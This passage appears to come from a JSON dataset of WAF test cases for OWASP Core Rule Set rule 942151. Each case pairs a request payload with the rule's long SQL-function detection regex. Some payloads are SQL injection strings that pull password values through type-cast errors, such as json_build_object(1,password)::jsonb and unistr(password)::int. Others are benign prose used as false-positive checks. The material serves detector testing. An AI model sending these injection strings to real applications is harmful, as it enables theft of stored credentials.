?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|object(?:_(?:agg|keys))?|populate_record(?:set)?|strip_nulls|t(?:o_record(?:set)?|ypeof))|b(?:_(?:array(?:_(?:elements(?:_text)?|length))?|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|insert|object(?:_(?:agg|keys))?|p(?:ath_(?:(?:exists|match)(?:_tz)?|query(?:_(?:(?:array|first)(?:_tz)?|tz))?)|opulate_record(?:set)?|retty)|s(?:et(?:_lax)?|trip_nulls)|t(?:o_record(?:set)?|ypeof)))?|path)?|l(?:ast_(?:day|insert_id)|case|east|i(?:kely|nestring)|o(?:_(?:from_bytea|put)|ad_file|ca(?:ltimestamp|te)|g(?:10|2))|pad|trim)|m(?:a(?:ke(?:_set|date)|ster_pos_wait)|d5|i(?:crosecon)?d|onthname|ulti(?:linestring|po(?:int|lygon)))|n(?:ame_const|ot_in|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:eriod_(?:add|diff)|g_(?:client_encoding|(?:databas|read_fil)e|l(?:argeobject|s_dir)|sleep|user)|o(?:lygon|w)|rocedure_analyse)|qu(?:ery_to_xml|ote)|r(?:a(?:dians|nd|wtohex)|elease_lock|ow_(?:count|to_json)|pad|trim)|s(?:chema|e(?:c_to_time|ssion_user)|ha[12]?|in|oundex|q(?:lite_(?:compileoption_(?:get|used)|source_id)|rt)|t(?:arts_?with|d(?:dev_(?:po|sam)p)?|r(?:_to_date|cmp))|ub(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|ys(?:date|tem_user))|t(?:ime(?:_(?:format|to_sec)|diff|stamp(?:add|diff)?)|o(?:_(?:base64|jsonb?)|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|i(?:str|x_timestamp))|(?:pdatexm|se_json_nul)l|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|var(?:_(?:po|sam)p|iance)|we(?:ek(?:day|ofyear)|ight_string)|xmltype|yearweek)[^0-9A-Z_a-z]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942151", "test_description": "SQL injection using PostgreSQL jsonb_pretty() function" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "id=...(json_build_object(1,password)::jsonb)::int" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:cii(?:str)?|in)|tan2?)|b(?:enchmark|i(?:n_to_num|t_(?:and|count|length|x?or)))|c(?:har(?:acter)?_length|eil(?:ing)?|o(?:alesce|ercibility|llation|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert_tz)?)|t)|rc32|ur(?:(?:dat|tim)e|rent_(?:date|setting|time(?:stamp)?|user)))|d(?:a(?:t(?:abase(?:_to_xml)?|e(?:_(?:add|format|sub)|diff))|y(?:name|of(?:month|week|year)))|count|e(?:code|s_(?:de|en)crypt)|ump)|e(?:n(?:c(?:ode|rypt)|ds_?with)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:el|n)d_in_set|ound_rows|rom_(?:base64|days|unixtime))|g(?:e(?:ometrycollection|t(?:_(?:format|lock)|pgusername))|(?:r(?:eates|oup_conca)|tid_subse)t)|hex(?:toraw)?|i(?:fnull|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull)|superuser)|null))|json(?:_(?:a(?:gg|rray(?:_(?:elements(?:_text)?|length))?)|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|object(?:_(?:agg|keys))?|populate_record(?:set)?|strip_nulls|t(?:o_record(?:set)?|ypeof))|b(?:_(?:array(?:_(?:elements(?:_text)?|length))?|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|insert|object(?:_(?:agg|keys))?|p(?:ath_(?:(?:exists|match)(?:_tz)?|query(?:_(?:(?:array|first)(?:_tz)?|tz))?)|opulate_record(?:set)?|retty)|s(?:et(?:_lax)?|trip_nulls)|t(?:o_record(?:set)?|ypeof)))?|path)?|l(?:ast_(?:day|insert_id)|case|east|i(?:kely|nestring)|o(?:_(?:from_bytea|put)|ad_file|ca(?:ltimestamp|te)|g(?:10|2))|pad|trim)|m(?:a(?:ke(?:_set|date)|ster_pos_wait)|d5|i(?:crosecon)?d|onthname|ulti(?:linestring|po(?:int|lygon)))|n(?:ame_const|ot_in|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:eriod_(?:add|diff)|g_(?:client_encoding|(?:databas|read_fil)e|l(?:argeobject|s_dir)|sleep|user)|o(?:lygon|w)|rocedure_analyse)|qu(?:ery_to_xml|ote)|r(?:a(?:dians|nd|wtohex)|elease_lock|ow_(?:count|to_json)|pad|trim)|s(?:chema|e(?:c_to_time|ssion_user)|ha[12]?|in|oundex|q(?:lite_(?:compileoption_(?:get|used)|source_id)|rt)|t(?:arts_?with|d(?:dev_(?:po|sam)p)?|r(?:_to_date|cmp))|ub(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|ys(?:date|tem_user))|t(?:ime(?:_(?:format|to_sec)|diff|stamp(?:add|diff)?)|o(?:_(?:base64|jsonb?)|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|i(?:str|x_timestamp))|(?:pdatexm|se_json_nul)l|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|var(?:_(?:po|sam)p|iance)|we(?:ek(?:day|ofyear)|ight_string)|xmltype|yearweek)[^0-9A-Z_a-z]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942151", "test_description": "SQL injection using PostgreSQL json_build_object() function" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "id=unistr(password)::int" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:cii(?:str)?|in)|tan2?)|b(?:enchmark|i(?:n_to_num|t_(?:and|count|length|x?or)))|c(?:har(?:acter)?_length|eil(?:ing)?|o(?:alesce|ercibility|llation|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert_tz)?)|t)|rc32|ur(?:(?:dat|tim)e|rent_(?:date|setting|time(?:stamp)?|user)))|d(?:a(?:t(?:abase(?:_to_xml)?|e(?:_(?:add|format|sub)|diff))|y(?:name|of(?:month|week|year)))|count|e(?:code|s_(?:de|en)crypt)|ump)|e(?:n(?:c(?:ode|rypt)|ds_?with)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:el|n)d_in_set|ound_rows|rom_(?:base64|days|unixtime))|g(?:e(?:ometrycollection|t(?:_(?:format|lock)|pgusername))|(?:r(?:eates|oup_conca)|tid_subse)t)|hex(?:toraw)?|i(?:fnull|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull)|superuser)|null))|json(?:_(?:a(?:gg|rray(?:_(?:elements(?:_text)?|length))?)|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|object(?:_(?:agg|keys))?|populate_record(?:set)?|strip_nulls|t(?:o_record(?:set)?|ypeof))|b(?:_(?:array(?:_(?:elements(?:_text)?|length))?|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|insert|object(?:_(?:agg|keys))?|p(?:ath_(?:(?:exists|match)(?:_tz)?|query(?:_(?:(?:array|first)(?:_tz)?|tz))?)|opulate_record(?:set)?|retty)|s(?:et(?:_lax)?|trip_nulls)|t(?:o_record(?:set)?|ypeof)))?|path)?|l(?:ast_(?:day|insert_id)|case|east|i(?:kely|nestring)|o(?:_(?:from_bytea|put)|ad_file|ca(?:ltimestamp|te)|g(?:10|2))|pad|trim)|m(?:a(?:ke(?:_set|date)|ster_pos_wait)|d5|i(?:crosecon)?d|onthname|ulti(?:linestring|po(?:int|lygon)))|n(?:ame_const|ot_in|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:eriod_(?:add|diff)|g_(?:client_encoding|(?:databas|read_fil)e|l(?:argeobject|s_dir)|sleep|user)|o(?:lygon|w)|rocedure_analyse)|qu(?:ery_to_xml|ote)|r(?:a(?:dians|nd|wtohex)|elease_lock|ow_(?:count|to_json)|pad|trim)|s(?:chema|e(?:c_to_time|ssion_user)|ha[12]?|in|oundex|q(?:lite_(?:compileoption_(?:get|used)|source_id)|rt)|t(?:arts_?with|d(?:dev_(?:po|sam)p)?|r(?:_to_date|cmp))|ub(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|ys(?:date|tem_user))|t(?:ime(?:_(?:format|to_sec)|diff|stamp(?:add|diff)?)|o(?:_(?:base64|jsonb?)|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|i(?:str|x_timestamp))|(?:pdatexm|se_json_nul)l|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|var(?:_(?:po|sam)p|iance)|we(?:ek(?:day|ofyear)|ight_string)|xmltype|yearweek)[^0-9A-Z_a-z]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942151", "test_description": "SQL injection using unistr() function" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "payload=Weitere überlieferte Bezeichnungen sind Harsle (1319), Crucesignati in Herslo (1475) und Haßelt (1599)." } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:cii(?:str)?|in)|tan2?)|b(?:enchmark|i(?:n_to_num|t_(?:and|count|length|x?or)))|c(?:har(?:acter)?_length|eil(?:ing)?|o(?:alesce|ercibility|llation|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert_tz)?)|t)|rc32|ur(?:(?:dat|tim)e|rent_(?:date|setting|time(?:stamp)?|user)))|d(?:a(?:t(?:abase(?:_to_xml)?|e(?:_(?:add|format|sub)|diff))|y(?:name|of(?:month|week|year)))|count|e(?:code|s_(?:de|en)crypt)|ump)|e(?:n(?:c(?:ode|rypt)|ds_?with)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:el|n)d_in_set|ound_rows|rom_(?:base64|days|unixtime))|g(?:e(?:ometrycollection|t(?:_(?:format|lock)|pgusername))|(?:r(?:eates|oup_conca)|tid_subse)t)|hex(?:toraw)?|i(?:fnull|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull)|superuser)|null))|json(?:_(?:a(?:gg|rray(?:_(?:elements(?:_text)?|length))?)|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|object(?:_(?:agg|keys))?|populate_record(?:set)?|strip_nulls|t(?:o_record(?:set)?|ypeof))|b(?:_(?:array(?:_(?:elements(?:_text)?|length))?|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|insert|object(?:_(?:agg|keys))?|p(?:ath_(?:(?:exists|match)(?:_tz)?|query(?:_(?:(?:array|first)(?:_tz)?|tz))?)|opulate_record(?:set)?|retty)|s(?:et(?:_lax)?|trip_nulls)|t(?:o_record(?:set)?|ypeof)))?|path)?|l(?:ast_(?:day|insert_id)|case|east|i(?:kely|nestring)|o(?:_(?:from_bytea|put)|ad_file|ca(?:ltimestamp|te)|g(?:10|2))|pad|trim)|m(?:a(?:ke(?:_set|date)|ster_pos_wait)|d5|i(?:crosecon)?d|onthname|ulti(?:linestring|po(?:int|lygon)))|n(?:ame_const|ot_in|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:eriod_(?:add|diff)|g_(?:client_encoding|(?:databas|read_fil)e|l(?:argeobject|s_dir)|sleep|user)|o(?:lygon|w)|rocedure_analyse)|qu(?:ery_to_xml|ote)|r(?:a(?:dians|nd|wtohex)|elease_lock|ow_(?:count|to_json)|pad|trim)|s(?:chema|e(?:c_to_time|ssion_user)|ha[12]?|in|oundex|q(?:lite_(?:compileoption_(?:get|used)|source_id)|rt)|t(?:arts_?with|d(?:dev_(?:po|sam)p)?|r(?:_to_date|cmp))|ub(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|ys(?:date|tem_user))|t(?:ime(?:_(?:format|to_sec)|diff|stamp(?:add|diff)?)|o(?:_(?:base64|jsonb?)|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|i(?:str|x_timestamp))|(?:pdatexm|se_json_nul)l|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|var(?:_(?:po|sam)p|iance)|we(?:ek(?:day|ofyear)|ight_string)|xmltype|yearweek)[^0-9A-Z_a-z]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942151", "test_description": "False positive with elt (" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "payload=Left (WA, RR), following wood edge south (‘Restrictive Byway’/RB) for ½ mile to Pangfield Farm (564719)." } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:cii(?:str)?|in)|tan2?)|b(?:enchmark|i(?:n_to_num|t_(?:and|count|length|x?or)))|c(?:har(?:acter)?_length|eil(?:ing)?|o(?:alesce|ercibility|llation|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert_tz)?)|t)|rc32|ur(?:(?:dat|tim)e|rent_(?:date|setting|time(?:stamp)?|user)))|d(?:a(?:t(?:abase(?:_to_xml)?|e(?:_(?:add|format|sub)|diff))|y(?:name|of(?:month|week|year)))|count|e(?:code|s_(?:de|en)crypt)|ump)|e(?:n(?:c(?:ode|rypt)|ds_?with)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:el|n)d_in_set|ound_rows|rom_(?:base64|days|unixtime))|g(?:e(?:ometrycollection|t(?:_(?:format|lock)|pgusername))|(?:r(?:eates|oup_conca)|tid_subse)t)|hex(?:toraw)?|i(?:fnull|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull)|superuser)|null))|json(?:_(?:a(?:gg|rray(?:_(?:elements(?:_text)?|length))?)|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|object(?:_(?:agg|keys))?|populate_record(?:set)?|strip_nulls|t(?:o_record(?:set)?|ypeof))|b(?:_(?:array(?:_(?:elements(?:_text)?|length))?|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|insert|object(?:_(?:agg|keys))?|p(?:ath_(?:(?:exists|match)(?:_tz)?|query(?:_(?:(?:array|first)(?:_tz)?|tz))?)|opulate_record(?:set)?|retty)|s(?:et(?:_lax)?|trip_nulls)|t(?:o_record(?:set)?|ypeof)))?|path)?|l(?:ast_(?:day|insert_id)|case|east|i(?:kely|nestring)|o(?:_(?:from_bytea|put)|ad_file|ca(?:ltimestamp|te)|g(?:10|2))|pad|trim)|m(?:a(?:ke(?:_set|date)|ster_pos_wait)|d5|i(?:crosecon)?d|onthname|ulti(?:linestring|po(?:int|lygon)))|n(?:ame_const|ot_in|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:eriod_(?:add|diff)|g_(?:client_encoding|(?:databas|read_fil)e|l(?:argeobject|s_dir)|sleep|user)|o(?:lygon|w)|rocedure_analyse)|qu(?:ery_to_xml|ote)|r(?:a(?:dians|nd|wtohex)|elease_lock|ow_(?:count|to_json)|pad|trim)|s(?:chema|e(?:c_to_time|ssion_user)|ha[12]?|in|oundex|q(?:lite_(?:compileoption_(?:get|used)|source_id)|rt)|t(?:arts_?with|d(?:dev_(?:po|sam)p)?|r(?:_to_date|cmp))|ub(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|ys(?:date|tem_user))|t(?:ime(?:_(?:format|to_sec)|diff|stamp(?:add|diff)?)|o(?:_(?:base64|jsonb?)|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|i(?:str|x_timestamp))|(?:pdatexm|se_json_nul)l|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|var(?:_(?:po|sam)p|iance)|we(?:ek(?:day|ofyear)|ight_string)|xmltype|yearweek)[^0-9A-Z_a-z]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942151", "test_description": "False positive with left (" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "payload=One quarter (24%) of people have had an affair and cheated on a partner at some point in their lives, according to results released today." } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:cii(?:str)?|in)|tan2?)|b(?:enchmark|i(?:n_to_num|t_(?:and|count|length|x?or)))|c(?:har(?:acter)?_length|eil(?:ing)?|o(?:alesce|ercibility|llation|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert_tz)?)|t)|rc32|ur(?:(?:dat|tim)e|rent_(?:date|setting|time(?:stamp)?|user)))|d(?:a(?:t(?:abase(?:_to_xml)?|e(?:_(?:add|format|sub)|diff))|y(?:name|of(?:month|week|year)))|count|e(?:code|s_(?:de|en)crypt)|ump)|e(?:n(?:c(?:ode|rypt)|ds_?with)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:el|n)d_in_set|ound_rows|rom_(?:base64|days|unixtime))|g(?:e(?:ometrycollection|t(?:_(?:format|lock)|pgusername))|(?:r(?:eates|oup_conca)|tid_subse)t)|hex(?:toraw)?|i(?:fnull|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull)|superuser)|null))|json(?:_(?:a(?:gg|rray(?:_(?:elements(?:_text)?|length))?)|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|object(?:_(?:agg|keys))?|populate_record(?:set)?|strip_nulls|t(?:o_record(?:set)?|ypeof))|b(?:_(?:array(?:_(?:elements(?:_text)?|length))?|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|insert|object(?:_(?:agg|keys))?|p(?:ath_(?:(?:exists|match)(?:_tz)?|query(?:_(?:(?:array|first)(?:_tz)?|tz))?)|opulate_record(?:set)?|retty)|s(?:et(?:_lax)?|trip_nulls)|t(?:o_record(?:set)?|ypeof)))?|path)?|l(?:ast_(?:day|insert_id)|case|east|i(?:kely|nestring)|o(?:_(?:from_bytea|put)|ad_file|ca(?:ltimestamp|te)|g(?:10|2))|pad|trim)|m(?:a(?:ke(?:_set|date)|ster_pos_wait)|d5|i(?:crosecon)?d|onthname|ulti(?:linestring|po(?:int|lygon)))|n(?:ame_const|ot_in|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:eriod_(?:add|diff)|g_(?:client_encoding|(?:databas|read_fil)e|l(?:argeobject|s_dir)|sleep|user)|o(?:lygon|w)|rocedure_analyse)|qu(?:ery_to_xml|ote)|r(?:a(?:dians|nd|wtohex)|elease_lock|ow_(?:count|to_json)|pad|trim)|s(?:chema|e(?:c_to_time|ssion_user)|ha[12]?|in|oundex|q(?:lite_(?:compileoption_(?:get|used)|source_id)|rt)|t(?:arts_?with|d(?:dev_(?:po|sam)p)?|r(?:_to_date|cmp))|ub(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|ys(?:date|tem_user))|t(?:ime(?:_(?:format|to_sec)|diff|stamp(?:add|diff)?)|o(?:_(?:base64|jsonb?)|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|i(?:str|x_timestamp))|(?:pdatexm|se_json_nul)l|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|var(?:_(?:po|sam)p|iance)|we(?:ek(?:day|ofyear)|ight_string)|xmltype|yearweek)[^0-9A-Z_a-z]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942151", "test_description": "False positive with quarter (" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "payload=You can choose between front up to maximise space (ideal for art and drawing), left up (for right handed users) and right up (for left handed users)." } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:cii(?:str)?|in)|tan2?)|b(?:enchmark|i(?:n_to_num|t_(?:and|count|length|x?or)))|c(?:har(?:acter)?_length|eil(?:ing)?|o(?:alesce|ercibility|llation|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert_tz)?)|t)|rc32|ur(?:(?:dat|tim)e|rent_(?:date|setting|time(?:stamp)?|user)))|d(?:a(?:t(?:abase(?:_to_xml)?|e(?:_(?:add|format|sub)|diff))|y(?:name|of(?:month|week|year)))|count|e(?:code|s_(?:de|en)crypt)|ump)|e(?:n(?:c(?:ode|rypt)|ds_?with)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:el|n)d_in_set|ound_rows|rom_(?:base64|days|unixtime))|g(?:e(?:ometrycollection|t(?:_(?:format|lock)|pgusername))|(?:r(?:eates|oup_conca)|tid_subse)t)|hex(?:toraw)?|i(?:fnull|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull)|superuser)|null))|json(?:_(?:a(?:gg|rray(?:_(?:elements(?:_text)?|length))?)|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|object(?:_(?:agg|keys))?|populate_record(?:set)?|strip_nulls|t(?:o_record(?:set)?|ypeof))|b(?:_(?:array(?:_(?:elements(?:_text)?|length))?|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|insert|object(?:_(?:agg|keys))?|p(?:ath_(?:(?:exists|match)(?:_tz)?|query(?:_(?:(?:array|first)(?:_tz)?|tz))?)|opulate_record(?:set)?|retty)|s(?:et(?:_lax)?|trip_nulls)|t(?:o_record(?:set)?|ypeof)))?|path)?|l(?:ast_(?:day|insert_id)|case|east|i(?:kely|nestring)|o(?:_(?:from_bytea|put)|ad_file|ca(?:ltimestamp|te)|g(?:10|2))|pad|trim)|m(?:a(?:ke(?:_set|date)|ster_pos_wait)|d5|i(?:crosecon)?d|onthname|ulti(?:linestring|po(?:int|lygon)))|n(?:ame_const|ot_in|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:eriod_(?:add|diff)|g_(?:client_encoding|(?:databas|read_fil)e|l(?:argeobject|s_dir)|sleep|user)|o(?:lygon|w)|rocedure_analyse)|qu(?:ery_to_xml|ote)|r(?:a(?:dians|nd|wtohex)|elease_lock|ow_(?:count|to_json)|pad|trim)|s(?:chema|e(?:c_to_time|ssion_user)|ha[12]?|in|oundex|q(?:lite_(?:compileoption_(?:get|used)|source_id)|rt)|t(?:arts_?with|d(?:dev_(?:po|sam)p)?|r(?:_to_date|cmp))|ub(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|ys(?:date|tem_user))|t(?:ime(?:_(?:format|to_sec)|diff|stamp(?:add|diff)?)|o(?:_(?:base64|jsonb?)|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|i(?:str|x_timestamp))|(?:pdatexm|se_json_nul)l|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|var(?:_(?:po|sam)p|iance)|we(?:ek(?:day|ofyear)|ight_string)|xmltype|yearweek)[^0-9A-Z_a-z]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942151", "test_description": "False positive with space (" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "payload=A maximum of the likelihood function occurs at the same parameter-value as a maximum of the logarithm of the likelihood (the \"log likelihood\"), because the logarithm is an increasing function." } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:cii(?:str)?|in)|tan2?)|b(?:enchmark|i(?:n_to_num|t_(?:and|count|length|x?or)))|c(?:har(?:acter)?_length|eil(?:ing)?|o(?:alesce|ercibility|llation|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert_tz)?)|t)|rc32|ur(?:(?:dat|tim)e|rent_(?:date|setting|time(?:stamp)?|user)))|d(?:a(?:t(?:abase(?:_to_xml)?|e(?:_(?:add|format|sub)|diff))|y(?:name|of(?:month|week|year)))|count|e(?:code|s_(?:de|en)crypt)|ump)|e(?:n(?:c(?:ode|rypt)|ds_?with)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:el|n)d_in_set|ound_rows|rom_(?:base64|days|unixtime))|g(?:e(?:ometrycollection|t(?:_(?:format|lock)|pgusername))|(?:r(?:eates|oup_conca)|tid_subse)t)|hex(?:toraw)?|i(?:fnull|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull)|superuser)|null))|json(?:_(?:a(?:gg|rray(?:_(?:elements(?:_text)?|length))?)|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|object(?:_(?:agg|keys))?|populate_record(?:set)?|strip_nulls|t(?:o_record(?:set)?|ypeof))|b(?:_(?:array(?:_(?:elements(?:_text)?|length))?|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|insert|object(?:_(?:agg|keys))?|p(?:ath_(?:(?:exists|match)(?:_tz)?|query(?:_(?:(?:array|first)(?:_tz)?|tz))?)|opulate_record(?:set)?|retty)|s(?:et(?:_lax)?|trip_nulls)|t(?:o_record(?:set)?|ypeof)))?|path)?|l(?:ast_(?:day|insert_id)|case|east|i(?:kely|nestring)|o(?:_(?:from_bytea|put)|ad_file|ca(?:ltimestamp|te)|g(?:10|2))|pad|trim)|m(?:a(?:ke(?:_set|date)|ster_pos_wait)|d5|i(?:crosecon)?d|onthname|ulti(?:linestring|po(?:int|lygon)))|n(?:ame_const|ot_in|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:eriod_(?:add|diff)|g_(?:client_encoding|(?:databas|read_fil)e|l(?:argeobject|s_dir)|sleep|user)|o(?:lygon|w)|rocedure_analyse)|qu(?:ery_to_xml|ote)|r(?:a(?:dians|nd|wtohex)|elease_lock|ow_(?:count|to_json)|pad|trim)|s(?:chema|e(?:c_to_time|ssion_user)|ha[